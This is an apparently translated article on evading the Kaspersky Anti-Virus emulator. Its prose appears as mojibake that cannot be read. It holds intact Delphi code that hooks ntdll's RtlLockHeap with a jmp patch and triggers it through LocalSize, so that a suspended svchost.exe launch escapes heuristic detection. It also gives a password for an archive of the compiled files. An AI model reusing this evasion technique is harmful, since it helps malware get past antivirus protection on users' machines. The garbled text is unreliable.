рдХреИрд╕рдкрд░реНрд╕рдХреА рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдореЗрдВ рдПрдореБрд▓реЗрдЯрд░ рдХрдордЬреЛрд░рддрд╛

рдлрд┐рд▓рд╣рд╛рд▓, рджреБрдирд┐рдпрд╛ рдореЗрдВ рд╡рд╛рдпрд░рд╕ рдХреА рдмрдврд╝рддреА рд╕рдВрдЦреНрдпрд╛ рдкреИрджрд╛ рд╣реЛ рд░рд╣реА рд╣реИ, рдЬрд┐рд╕рдХреА рдорд╛рддреНрд░рд╛ рдХреЛ рдкрдХрдбрд╝ рдкрд╛рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, "рдХреНрд▓рд╛рдЙрдб рдиреЗрдЯрд╡рд░реНрдХ" рдФрд░ рд╣реЗрдпреБрд░рд┐рд╕реНрдЯрд┐рдХ рдХреЛрдб рдПрдирд╛рд▓рд╛рдЗрдЬрд╝рд░ рдХреА рдЖрдзреБрдирд┐рдХ рддрдХрдиреАрдХреЛрдВ рдХреЛ рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирдореВрдиреЗ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдП рдЦрддрд░реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред



рдпрд╣ рдПрдХ рд░рд╣рд╕реНрдп рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╣рд░ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╣рдореЗрд╢рд╛ рдЫреЗрдж рдХреА рдПрдХ рдЬреЛрдбрд╝реА рд╣реЛрдЧреА рдЬреЛ рдЬрд▓реНрджреА рдпрд╛ рдмрд╛рдж рдореЗрдВ рдмрд╛рд╣рд░ рдЖрдПрдЧреАред рдХрднреА-рдХрднреА рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рд╣реЛрддрд╛ рд╣реИ, рдХрднреА-рдХрднреА рдирд┐рд░реНрдордо рддрдХрдиреАрдХ рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рдХрд╛рд░рдгред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдореИрдВ рдЖрдкрдХреЛ рдХреИрд╕реНрдкрд░рд╕реНрдХреА рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдХреЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдПрдореБрд▓реЗрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рджрд┐рдЦрд╛рдКрдВрдЧрд╛ред



рд╕рд┐рджреНрдзрд╛рдВрдд



рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдореЗрдВ рдПрдХ рдПрдореБрд▓реЗрдЯрд░ рдХреНрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ? рдЗрд╕рдХрд╛ рдЙрддреНрддрд░ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ - рд▓рдЧрднрдЧ рд╕рднреА рдореИрд▓рд╡реЗрдпрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдкреНрдЯрд░реЛрдВ рдФрд░ рдкреНрд░реЛрдЯреЗрдХреНрдЯрд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреИрдХ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдбрд┐рд╕реНрдХ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╕рдордп, рдПрдореБрд▓реЗрдЯрд░ рдЕрдкрдиреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдкрд░ рдкрд░реАрдХреНрд╖рдг рдпреЛрдЧреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ "рд╕реНрдкрд┐рди" рдХрд░рддрд╛ рд╣реИ рдФрд░ рдзреАрд░реЗ-рдзреАрд░реЗ рд╡рд╛рдВрдЫрд┐рдд рдХреЛрдб рдореЗрдВ "рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ", рдЬрд┐рд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рджреНрд╡рд╛рд░рд╛ рдпрд╛ рддреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣реЛ рд░рд╣рд╛ рд╣реИред рдпрд╛ рддреЛ рд╡рд┐рдзрд░реНрдореА рд╡рд┐рдзрд┐ред



рдореЗрд░реЗ рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рджреМрд░рд╛рди, рдореБрдЭреЗ рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛ рдХрд┐ рдХреИрд╕рдкрд░реНрд╕рдХреА рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдиреЗ рд▓рдЧрд╛рддрд╛рд░ рдореЗрд░реЗ рдирд┐рд╖реНрдкрд╛рджрдХ рдХреЛ " HEUR: Trojan.Win32.Generic " рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдк рджрд┐рдпрд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдореБрдЭреЗ рдЗрд╕рдореЗрдВ рдХреБрдЫ рднреА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛ред рдЕрдкрд╡рд╛рджреЛрдВ рдХреА рд╡рд┐рдзрд┐ рд╕реЗ, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдерд╛ рдХрд┐ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ CreateProcess (...) рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдкрд░ рд╢рдкрде рд▓реЗрддрд╛ рд╣реИ рдпрджрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдзреНрд╡рдЬ рдЙрд╕рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдХрд╣реАрдВ рдЬрд╛рдирд╛ рдирд╣реАрдВ рдерд╛, рдЗрд╕рд▓рд┐рдП рдореБрдЭреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрд░реНрдЯ рдХрд░рдирд╛ рдкрдбрд╝рд╛, рдЦрд╛рд╕рдХрд░ рдЬрдм рд╕реЗ рдореИрдВ рдЦреБрдж рд░реБрдЪрд┐ рд░рдЦрддрд╛ рдерд╛ред рдкрд░рд┐рдгрд╛рдо рдЖрдиреЗ рдореЗрдВ рд▓рдВрдмрд╛ рдирд╣реАрдВ рдерд╛ - рджреЛ рдШрдВрдЯреЗ рдореЗрдВ рдПрдореБрд▓реЗрдЯрд░ рдХрд╛ рдореБрдХрд╛рдмрд▓рд╛ рдХрд░рдиреЗ рдХреЗ рддреАрди рддрд░реАрдХреЗ рдкрд╛рдП рдЧрдП, рдЖрдЗрдП рджреЗрдЦреЗрдВ, рдореЗрд░реА рд░рд╛рдп рдореЗрдВ, рдЙрдирдореЗрдВ рд╕реЗ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ, рдЬреЛ рдПрдкрд┐ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рднреЗрджреНрдпрддрд╛ рд╣реИред



рдПрдореБрд▓реЗрдЯрд░ рдХреЗрд╡рд▓ рд╡рд┐рди рдПрдкреА рдХреЙрд▓ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрд┐ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЖрд╡реЗрджрди рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдЧрдП рдЕрдиреНрдп рдПрдкрд┐ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рдирд┐рдХрд▓рд╛, рдирд╣реАрдВред рдЪрд╛рд╣реЗ рдпрд╣ рдЕрдиреБрдХреВрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдпрд╛ рдЪрд╛рд╣реЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреА рдПрдХ рд╕рд░рд▓ рдирд┐рдЧрд░рд╛рдиреА - рдХреЛрдИ рднреА рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рд╣реЛрдЧрд╛ред



рд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЗ рд▓рд┐рдП, рдореИрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЖрд░реЗрдЦ рджреЗрддрд╛ рд╣реВрдВ: рдмрд╛рдИрдВ рдУрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реИ, рдФрд░ рджрд╛рдИрдВ рдУрд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдПрдореБрд▓реЗрдЯрд░ рдХреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХреЛрдб рдкрд░ рдЪреЗрдХ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реИред

рдЫрд╡рд┐



рдЕрднреНрдпрд╛рд╕



рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ, рдореИрдВ рдЙрд╕ рдХреЛрдб рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рджреЗрддрд╛ рд╣реВрдВ рдЬрд┐рд╕реЗ рдореЗрд░реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рдкрддрд╛ рдЪрд▓рд╛ рдерд╛ред рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ - рдХреЛрдб рдХреБрдЫ рднреА рдЧрд▓рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдмрдВрдж рд░рд╛рдЬреНрдп рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред рдбреЗрд▓реНрдлреА рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реИред



procedure ProcessBadCode();

var

StartInfo : TStartupInfoA;

ProcInfo : TProcessInformation;

begin

ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));

StartInfo.cb := SizeOf(TStartupInfoA);

CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

end;



begin

ProcessBadCode();

end.








рдПрдореБрд▓реЗрдЯрд░ рдХреА рдирд╛рдХ рдХреЗ рдиреАрдЪреЗ рдЕрджреГрд╢реНрдп рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдХреЛ рдХрд┐рд╕реА рднреА рдПрдкреА рдХреЛ рд╣реБрдХ рдХрд░рдирд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЙрд╕ рдХреЛрдб рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рдзреНрдпрд╛рди рдирд╣реАрдВ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдПрдк рдХреЛ рдвреВрдВрдвреЗрдВ рдЬреЛ рдкрд╣рд▓реЗ рдХреЛрдб рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рдХреЛрдб рдореЗрдВ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдореИрдВрдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд┐рдП: " RtlLockHeap (...) " рд╕реЗ " ntdll.dll " рдФрд░ " LocalSize (...) " рд╕реЗ " kernel32.dll "ред рдЬреИрд╕рд╛ рдХрд┐ рдХрдИ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдордЭ рдЪреБрдХреЗ рд╣реИрдВ - рджреВрд╕рд░рд╛ рдкрд╣рд▓рд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред рд╣реБрдХ рдХреЛ " RtlLockHeap (...) " рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдХреЙрд▓ рдЪреЗрди рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:

MyCode (...) -> LocalSize (...) -> RtlLockHeap (...) -> BadCode (...) ред

рдбрд┐рдЯреЗрдХреНрд╢рди рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдЕрдм рдирд╣реАрдВ рд╣реЛрдЧрд╛ред



var

Initialized : Boolean;

procedure ProcessBadCode();

var

StartInfo : TStartupInfoA;

ProcInfo : TProcessInformation;

begin

if not Initialized then // , -

begin

Initialized := True; // ,

ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));

StartInfo.cb := SizeOf(TStartupInfoA);

CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

Sleep(5000); //

TerminateProcess(ProcInfo.hProcess, 0);

ExitProcess(0); //

end;

Sleep(INFINITE); //

end;



procedure ProcessStartCode();

procedure WriteJmp(AddressFrom, AddressTo : Integer); // jmp

var

Protect, Stuff : Cardinal;

begin

VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);

PByte(AddressFrom)^ := $E9;

PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;

VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);

end;

var

NativeFunc : procedure();

begin

//

@NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');

// BadCode

WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));

// , ...

LocalSize(0);

end;



begin

ProcessStartCode();

end.








рдирд┐рд╖реНрдХрд░реНрд╖



рд╕реБрдирд╣рд░рд╛ рдирд┐рдпрдо: "рд╡рд┐рд╢реНрд╡рд╛рд╕ - рд▓реЗрдХрд┐рди рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ!" рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рд▓рд┐рдП рдореМрдЬреВрджрд╛ "рд╡рд┐рд╢реНрд╡рд╛рд╕" рдиреАрддрд┐ рдкрд╣рд▓реЗ рд╣реА рд╡рд┐рдлрд▓ рд╣реЛ рдЧрдИ рд╣реИ: рдпреЗ рдЙрджрд╛рд╣рд░рдг рд╕реНрдЯрдХреНрд╕рдиреЗрдЯ рд╡рд╛рдпрд░рд╕ рдФрд░ рдПрдбреЛрдм рдХреА рднреЗрджреНрдпрддрд╛ рдХреЗ рд╣рд╛рд▓рд┐рдпрд╛ рд╢реЛрд╖рдг рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдП рдЧрдП рд╣реИрдВред рдЬреИрд╕рд╛ рдХрд┐ рдореЗрд░реЗ рдЫреЛрдЯреЗ рд╕реЗ рдЕрдиреБрднрд╡ рдиреЗ рджрд┐рдЦрд╛рдпрд╛ рд╣реИ, рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рд╣реЗрд░реАрд╕реНрдЯрд┐рдХ рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдХ рд╕рдорд╛рди рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдЕрдзреАрди рд╣реИред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреИрд╕реНрдкрд░реНрд╕рдХреА рд╣реЗрдпреБрд░рд┐рд╕реНрдЯрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ рдЙрди рджреЛ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рд╕рдиреЗ рдЗрд╕ рдлрд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдЦрддрд░рд╛ рджреЗрдЦрд╛ (рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдпрд╣ рдПрдХ рд╕рдореНрдорд╛рди рдФрд░ рдкреНрд░рд╢рдВрд╕рд╛ рд╣реИ), рдФрд░ рдЪреАрдиреА рдЬрд┐рдпрд╛рдВрдЧрдорд┐рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдПрдХ рд╕реНрдкрд╖реНрдЯ рдЧрд▓рдд рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рджрдпрд╛ рд╣реИ рдХрд┐ рд╕рдм рдХреБрдЫ рдЗрддрдиреА рдЖрд╕рд╛рдиреА рд╕реЗ рддрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ...



рдпрд╣ рд╕рдм рдПрдХ рдмрд╛рд░ рдлрд┐рд░ рдирд┐рд░реНрд╡рд┐рд╡рд╛рдж рд╕рддреНрдп рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдСрдкрд░реЗрдЯрд░ рдХреА рдУрд░ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рдФрд░ рдЦрддрд░реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕рдХреА рд╕рдХреНрд░рд┐рдп рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдордЭреЗ рдмрд┐рдирд╛ рдПрдХ рднреА рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рдкрд░реНрдпрд╛рдкреНрдд рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред



рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрдХрд▓рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдПрдХ рд╕реЗрдЯ , рдЬрд┐рд╕реЗ рд▓реЗрдЦ рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдереА, рдмрд╛рд╣рд░ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред рд╕рдВрдЧреНрд░рд╣ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб elcrabe рд╣реИ ред



рдореИрдВ рд▓реЗрдЦ рдХреЛ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ gjf рдХрд╛ рдЖрднрд╛рд░ рд╡реНрдпрдХреНрдд рдХрд░рддрд╛ рд╣реВрдВред



All Articles